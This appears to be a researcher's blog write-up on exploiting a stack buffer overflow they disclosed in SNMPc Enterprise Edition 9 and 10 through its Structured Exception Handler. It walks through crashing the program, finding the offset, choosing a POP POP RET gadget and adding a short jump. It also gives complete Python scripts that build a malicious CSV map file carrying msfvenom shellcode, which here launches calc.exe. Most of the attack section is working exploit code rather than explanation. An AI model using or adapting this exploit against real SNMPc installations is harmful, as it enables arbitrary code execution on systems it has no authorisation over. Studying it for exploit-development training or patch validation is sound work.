SNMPc: Fun with SEH
Recently I found a stack based buffer overflow in Caste Rock Computing’s SNMPc Enterprise Edition 9 & 10 software; details here if you want to read my disclosure info. Now, BOFs are relatively easy to identify, and old school vanilla EIP BOFs are even easier to write exploits for, however this time I encountered something which I haven’t needed to worry about before; the Structured Exception Handler (SEH). Because this was something different for me, I thought I may as well do a write-up about how I went about exploiting the software so that I can reference it in the future, and so that maybe someone out there may learn something new.
So what is SEH? I’ll let you do some googling for the full details, however the short version is that it is a Windows mechanism which is designed to catch exceptions and tell the operating system to search through a list of registers which are suitable for closing the program nicely. There are two records we need to manipulate on the stack in order to control the execution process, and that is the Exception Registration Record (SEH) and the Next Exception Registration Record (nSEH). Let’s get our hands dirty so that it all makes sense.
First things first, let’s get SNMPc to crash by creating a mapping file with a large buffer and import the created file into SNMPc. Our POC will look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
import sys,os filename="evilmap.csv" buffer = "A" * 3000 # Pre-padding of mapping file. Note mandatory trailing character return. pre_padding = ( "Name,Type,Address,ObjectID,Description,ID,Group1,Group2,Icon,Bitmap,Bitmap Scale,Shape/Thickness,Parent,Coordinates,Linked Nodes,Show Label,API Exec,MAC,Polling Agent,Poll Interval,Poll Timeout,Poll Retries,Status Variable,Status Value,Status Expression,Services,Status,Get Community,Set Community,Trap Community,Read Access Mode,Read/Write Access Mode,V3 NoAuth User,V3 Auth User,V3 Auth Password,V3 Priv Password" "\"Root Subnet\",\"Subnet\",\"\",\"\",\"\",\"2\",\"000=Unknown\",\"\",\"auto.ico\",\"\",\"2\",\"Square\",\"(NULL)\",\"(0,0)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"0\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n" "\"") # Post-padding of mapping file. Note mandatory trailing character return. post_padding = ( "\",\"Device\",\"127.0.0.1\",\"1.3.6.1.4.1.29671.2.107\",\"\",\"3\",\"000=Unknown\",\"000=Unknown\",\"auto.ico\",\"\",\"2\",\"Square\",\"Root Subnet(2)\",\"(-16,-64)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"=\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n") textfile = open(filename , 'w') textfile.write(buffer) textfile.close() |
In the SNMPc Management Console, choose “File > Import > Map Objects From Text File...
“, attach Immunity Debugger to the “nodeimp.exe
” process, and choose the ‘evilmap.csv
‘ file which our POC exploit has created. Now that the console has crashed, use “Alt+S
” to view the SEH chain and pass the exception to the program with "Shift+F9"
until you see that we have overwritten the SEH record with our buffer.
Now it’s time to zero in and find our offset where we are overwriting the SEH record. We’ll use the tried and tested method of generating a pattern with metasploit’s pattern_create tool as follows:
1 2 |
temptress > /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 3000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9 |
Now add the created pattern to the POC script, create the evilmap.csv file, import the file into the console, pass the exception to the program until you see the SEH record overwritten. Now let’s take a look at our SEH chain by using mona’s findmsp script.
As we can see, we now have our offset of 2064, however it’s not as simple as just setting our buffer to this length to overwrite SEH. Remember how I mentioned we have a SEH and nSEH? As the Windows stack grows downwards, we need to make sure we take nSEH into account as it will be hit first. Let’s update our POC script to reflect this.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#!/usr/bin/python import sys, os filename="evilmap.csv" # offset to seh 2064 bytes junk = "A" * 2064 nseh = "B" * 4 seh = "C" * 4 # Pre-padding of mapping file. Note mandatory trailing character return. pre_padding = ( "Name,Type,Address,ObjectID,Description,ID,Group1,Group2,Icon,Bitmap,Bitmap Scale,Shape/Thickness,Parent,Coordinates,Linked Nodes,Show Label,API Exec,MAC,Polling Agent,Poll Interval,Poll Timeout,Poll Retries,Status Variable,Status Value,Status Expression,Services,Status,Get Community,Set Community,Trap Community,Read Access Mode,Read/Write Access Mode,V3 NoAuth User,V3 Auth User,V3 Auth Password,V3 Priv Password" "\"Root Subnet\",\"Subnet\",\"\",\"\",\"\",\"2\",\"000=Unknown\",\"\",\"auto.ico\",\"\",\"2\",\"Square\",\"(NULL)\",\"(0,0)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"0\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n" "\"") # Post-padding of mapping file. Note mandatory trailing character return. post_padding = ( "\",\"Device\",\"127.0.0.1\",\"1.3.6.1.4.1.29671.2.107\",\"\",\"3\",\"000=Unknown\",\"000=Unknown\",\"auto.ico\",\"\",\"2\",\"Square\",\"Root Subnet(2)\",\"(-16,-64)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"=\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n") buffer = pre_padding + junk + nseh + seh + "D" * 928 + post_padding textfile = open(filename , 'w') textfile.write(buffer) textfile.close() |
Following our previous testing process, we can now see that we are overwriting SEH with our 4 bytes of C characters.
So what next? We haven’t overwritten EIP, so how do we take control of the process post the handler? Enter stage left POP POP RET. By using a POP POP RET instruction we can force the handler to put the address of nSEH into EIP, thus controlling execution. As always, mona is our friend and will find pointers with POP POP RET by issuing the command !mona seh.
I have chosen to use the address 0x100e3c05 in this case as it doesn’t contain any null bytes such as those in the previous two results. Let’s update our POC script, follow the bouncing ball for our test, and add a breakpoint at our SEH address so we can understand what POP POP RET is doing to our stack.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
#!/usr/bin/python import sys, os filename="evilmap.csv" # offset to seh 2064 bytes junk = "A" * 2064 nseh = "B" * 4 seh = "\x05\x3c\x0e\x10" # 0x100e3c05 ; pop esi # pop edi # ret (C:\program files (x86)\snmpc network manager\CRDBAPI.dll) # Pre-padding of mapping file. Note mandatory trailing character return. pre_padding = ( "Name,Type,Address,ObjectID,Description,ID,Group1,Group2,Icon,Bitmap,Bitmap Scale,Shape/Thickness,Parent,Coordinates,Linked Nodes,Show Label,API Exec,MAC,Polling Agent,Poll Interval,Poll Timeout,Poll Retries,Status Variable,Status Value,Status Expression,Services,Status,Get Community,Set Community,Trap Community,Read Access Mode,Read/Write Access Mode,V3 NoAuth User,V3 Auth User,V3 Auth Password,V3 Priv Password" "\"Root Subnet\",\"Subnet\",\"\",\"\",\"\",\"2\",\"000=Unknown\",\"\",\"auto.ico\",\"\",\"2\",\"Square\",\"(NULL)\",\"(0,0)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"0\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n" "\"") # Post-padding of mapping file. Note mandatory trailing character return. post_padding = ( "\",\"Device\",\"127.0.0.1\",\"1.3.6.1.4.1.29671.2.107\",\"\",\"3\",\"000=Unknown\",\"000=Unknown\",\"auto.ico\",\"\",\"2\",\"Square\",\"Root Subnet(2)\",\"(-16,-64)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"=\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n") buffer = pre_padding + junk + nseh + seh + "D" * 928 + post_padding textfile = open(filename , 'w') textfile.write(buffer) textfile.close() |
As you can see, we successfully hit our breakpoint:
Now, if we step through the POP POP RET with F7, we can see we jump straight to our B characters in nSEH, which is followed by SEH, then followed by our buffer of D characters.
The logical next step is to somehow get to our buffer of D characters so that we can execute some shellcode. So how do we do this? We can see that we need to jump forward 5 bytes. If you press ‘space’ in Immunity, an “Assemble at 0018F584” box appears which allows us to jump to the address we want to go to, which, in our case is 0x0018F58D. Enter jmp 0018F58D and hit ‘Assemble’, which will give us the short jmp op code of EB 07 which we can use in nSEH to get to our D characters.
Now that we have control of program execution, let’s update our POC script to reflect the short jmp and add some shellcode to execute calc.exe on the target host. We generate the shellcode for calc winexec with the following: msfvenom —platform windows -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d" -f c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, os filename="evilmap.csv" # offset to seh 2064 bytes junk = "A" * 2064 nseh = "\xeb\x07\x90\x90" # short jmp to 0018f58d \xeb\x07\x90\x90 seh = "\x05\x3c\x0e\x10" # 0x100e3c05 ; pop esi # pop edi # ret (C:\program files (x86)\snmpc network manager\CRDBAPI.dll) # Pre-padding of mapping file. Note mandatory trailing character return. pre_padding = ( "Name,Type,Address,ObjectID,Description,ID,Group1,Group2,Icon,Bitmap,Bitmap Scale,Shape/Thickness,Parent,Coordinates,Linked Nodes,Show Label,API Exec,MAC,Polling Agent,Poll Interval,Poll Timeout,Poll Retries,Status Variable,Status Value,Status Expression,Services,Status,Get Community,Set Community,Trap Community,Read Access Mode,Read/Write Access Mode,V3 NoAuth User,V3 Auth User,V3 Auth Password,V3 Priv Password" "\"Root Subnet\",\"Subnet\",\"\",\"\",\"\",\"2\",\"000=Unknown\",\"\",\"auto.ico\",\"\",\"2\",\"Square\",\"(NULL)\",\"(0,0)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"0\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n" "\"") # Post-padding of mapping file. Note mandatory trailing character return. post_padding = ( "\",\"Device\",\"127.0.0.1\",\"1.3.6.1.4.1.29671.2.107\",\"\",\"3\",\"000=Unknown\",\"000=Unknown\",\"auto.ico\",\"\",\"2\",\"Square\",\"Root Subnet(2)\",\"(-16,-64)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"=\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n") # msfvenom —platform windows -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d" -f c shellcode = ( "\xda\xcc\xd9\x74\x24\xf4\xba\xd9\xa1\x94\x48\x5f\x2b\xc9\xb1" "\x31\x31\x57\x18\x83\xc7\x04\x03\x57\xcd\x43\x61\xb4\x05\x01" "\x8a\x45\xd5\x66\x02\xa0\xe4\xa6\x70\xa0\x56\x17\xf2\xe4\x5a" "\xdc\x56\x1d\xe9\x90\x7e\x12\x5a\x1e\x59\x1d\x5b\x33\x99\x3c" "\xdf\x4e\xce\x9e\xde\x80\x03\xde\x27\xfc\xee\xb2\xf0\x8a\x5d" "\x23\x75\xc6\x5d\xc8\xc5\xc6\xe5\x2d\x9d\xe9\xc4\xe3\x96\xb3" "\xc6\x02\x7b\xc8\x4e\x1d\x98\xf5\x19\x96\x6a\x81\x9b\x7e\xa3" "\x6a\x37\xbf\x0c\x99\x49\x87\xaa\x42\x3c\xf1\xc9\xff\x47\xc6" "\xb0\xdb\xc2\xdd\x12\xaf\x75\x3a\xa3\x7c\xe3\xc9\xaf\xc9\x67" "\x95\xb3\xcc\xa4\xad\xcf\x45\x4b\x62\x46\x1d\x68\xa6\x03\xc5" "\x11\xff\xe9\xa8\x2e\x1f\x52\x14\x8b\x6b\x7e\x41\xa6\x31\x14" "\x94\x34\x4c\x5a\x96\x46\x4f\xca\xff\x77\xc4\x85\x78\x88\x0f" "\xe2\x77\xc2\x12\x42\x10\x8b\xc6\xd7\x7d\x2c\x3d\x1b\x78\xaf" "\xb4\xe3\x7f\xaf\xbc\xe6\xc4\x77\x2c\x9a\x55\x12\x52\x09\x55" "\x37\x31\xcc\xc5\xdb\x98\x6b\x6e\x79\xe5") payload = "\x90" * 10 + shellcode buffer = pre_padding + junk + nseh + seh + payload + "\x90" * 10 + post_padding textfile = open(filename , 'w') textfile.write(buffer) textfile.close() |
A Wild Calc Appears!!!! Until next time, tight lines and happy hacking.